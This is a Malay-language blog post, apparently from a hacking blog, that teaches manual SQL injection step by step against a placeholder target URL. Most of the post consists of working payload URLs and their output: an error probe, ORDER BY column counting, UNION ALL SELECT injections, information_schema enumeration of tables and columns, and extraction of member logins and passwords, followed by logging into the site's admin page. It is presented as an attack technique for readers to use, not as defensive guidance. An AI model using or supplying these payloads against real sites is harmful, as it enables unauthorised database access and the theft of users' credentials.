Root Js

powered by
Socialbar

Sql Injection Manual





Structur Query Languages Injection atau bahasa yang kita biasa dengar Sql Injection / Suntikan Sql merupakan salah satu teknik popular penggodaman atau serangan ke atas laman web yang dilakukan oleh penggodam.


Realiti hari ini, ramai yang menggelarkan diri mereka sebagai penggodam walaupun pada dasarnya mereka banyak bergantung kepada penggunaan tool / software yang mudah diperolehi daripada Google. Oleh itu, dalam entri kali ini kita akan mencuba bagaimana untuk melakukan suntikan Sqi tetapi secara manual dan tidak melibatkan penggunaan tool / software.



Target : http://www.target.com/Content.php?id=14  ( ****** = target )

Tambahkan single quote ( ' ) dibelakang url,  http://www.target.com/Content.php?id=14' 
( atau kita panggil sebagai inject string )


Muncul  error :

MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by a.content_order Asc' at line 1)


Jika error seperti di atas muncul, ini berrmakna kita berkemungkinan untuk melakukan serangan secara suntikan Sql


Untuk mencari column gunakan perintah [order by]. order by 1-- dimulai dengan angka 1, kemudian 2, dan seterusnya sehingga muncul error pada target.


Contoh pada url ini, error muncul pada angka ke 6. 
MySQL Error: 1054 (Unknown column '6' in 'order clause')


http://target/Content.php?id=14 order by 5--


jadi angka yang akan diambil adalah ( 6-1 ) = 5  ( Jumlah column adalah 5 )



Mencari Nombor Ajaib


Langkah seterusnya kita akan mencari "nombor ajaib" yang mana kita boleh melakukan suntikan dengan perintah [union all select]. Jangan lupa tambahkan tanda tolak ( - ) didepan angka parameter id=14 menjadi id=-14


http://www.target.com/Content.php?id=-14 union all select 1,2,3,4,5--


akan muncul "nombor ajaib" : 1


Mencari Versi Database


Seterusnya kita cari versi Database MySql laman web terbabit dengan perintah "version()" pada angka 1.


http://www.target.com/Content.php?id=-14 union all select version(),2,3,4,5--


muncul tulisan :5.0.51a-community


Mencari Table


Menggunakan perintah "group_concat(table_name)" pada salah satu angka ajaib dan " from information_schema.tables where table_schema=database()--" di belakang angka 5


http://www.target.com/Content.php?id=-14 union all select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database()--


muncul nama-nama table, contohnya : 


ad_categories,ads,alaris_menu,alaris_sub2_menu,alaris_sub_menu,alaris_users,articles,categories,category_types,club_statuses,config,content,course_welcome,emails,er_setting,event_registrations,events,forums,headercontent,kiteads_acls,kiteads_adclicks,kiteads_adstats,kiteads_adviews,kiteads_affiliates,kiteads_banners,kiteads_cache,kiteads_clients,kiteads_config,kiteads_images,kiteads_session,kiteads_targetstats,kiteads_userlog,kiteads_zones,link_categories,links,links2,linkspic,lookup_countries,lookup_states,members,messages,news,newsletter,pack_grp,pack_lists,package,products,users_group,welcome


Mencari Column dari Table yang tersimpan maklumat User & Password


Ambil table "members" sebelumnya, kemudian kita convert dulu ke hexa supaya dapat dibaca oleh Sql 


di sini : http://www.dolcevie.com/js/converter.html   Pada ascii text klik members kemudian klik encode. hasilnya di column Hex Value : 6D656D62657273 ( Contoh pada Target kita )


Rujuk : Sini 


Perintah selanjutnya adalah "group_concat(column_name)" pada nombor ajaib 1 dan " from information_schema.columns where table_name=0xHexa--" di akhir URL iaitu 6D656D62657273


tambahkan 0x didepan hexa supaya server dapat mengetahui bahawa itu telah diconvertkan ke hexa.


http://www.target.com/Content.php?id=-14 union all select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x6D656D62657273--


Keluar column : 


member_id,member_first_name,member_last_name,member_login,member_password,member_email,country_id,state_id,member_city,member_zip,member_address1,member_address2,member_address3,member_ph_work,member_ph_work_ext,member_phone_home,member_phone_addl,member_fax,picture_url,website_url,club_status_id,member_date_added,security_level_id


kita ambil : member_login,member_password




Untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 1 dan from NAMATABLE-- 
pada akhir url.


ganti column 1 dengan "member_login" dan column 2 dengan "member_password". 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa. NAMA TABLE diganti dengan "members" untuk mengambil informasi dari table yang bernama"members"


http://www.target.com/Content.php?id=-14 union all select group_concat(member_login,0x3a,member_password),2,3,4,5 from members--


Akan keluar :


login user : usercontoh


password : password123


Sekarang kita login terus ke laman terbabit :D


http://www.target.com/admin/ ( contoh )




Bagi permulaan, anda sebenarnya digalakkan untuk menggunakan tool / software terlebih dahulu seperti Havij antaranya ( paling popular) untuk melakukan suntikan Sql ini. Bagi yang pertama kali belajar suntikan secara manual ini. tidak dinafikan anda mungkin akan sedikit mengalami kekeliruan. Tetapi jangan risau, itu kerana adalah perkara normal. Yang penting dan perlu ada adalah kesungguhan dan niat untuk terus belajar yang berterus.

Semoga Berjaya :) 





1 ulasan:

Unknown said...

saudara tahu tak tempat untuk download cara programming???atau boleh download dalam format .sfw??

Post a Comment

Please Do Not Spam Here Moron. Everyone Welcome Here.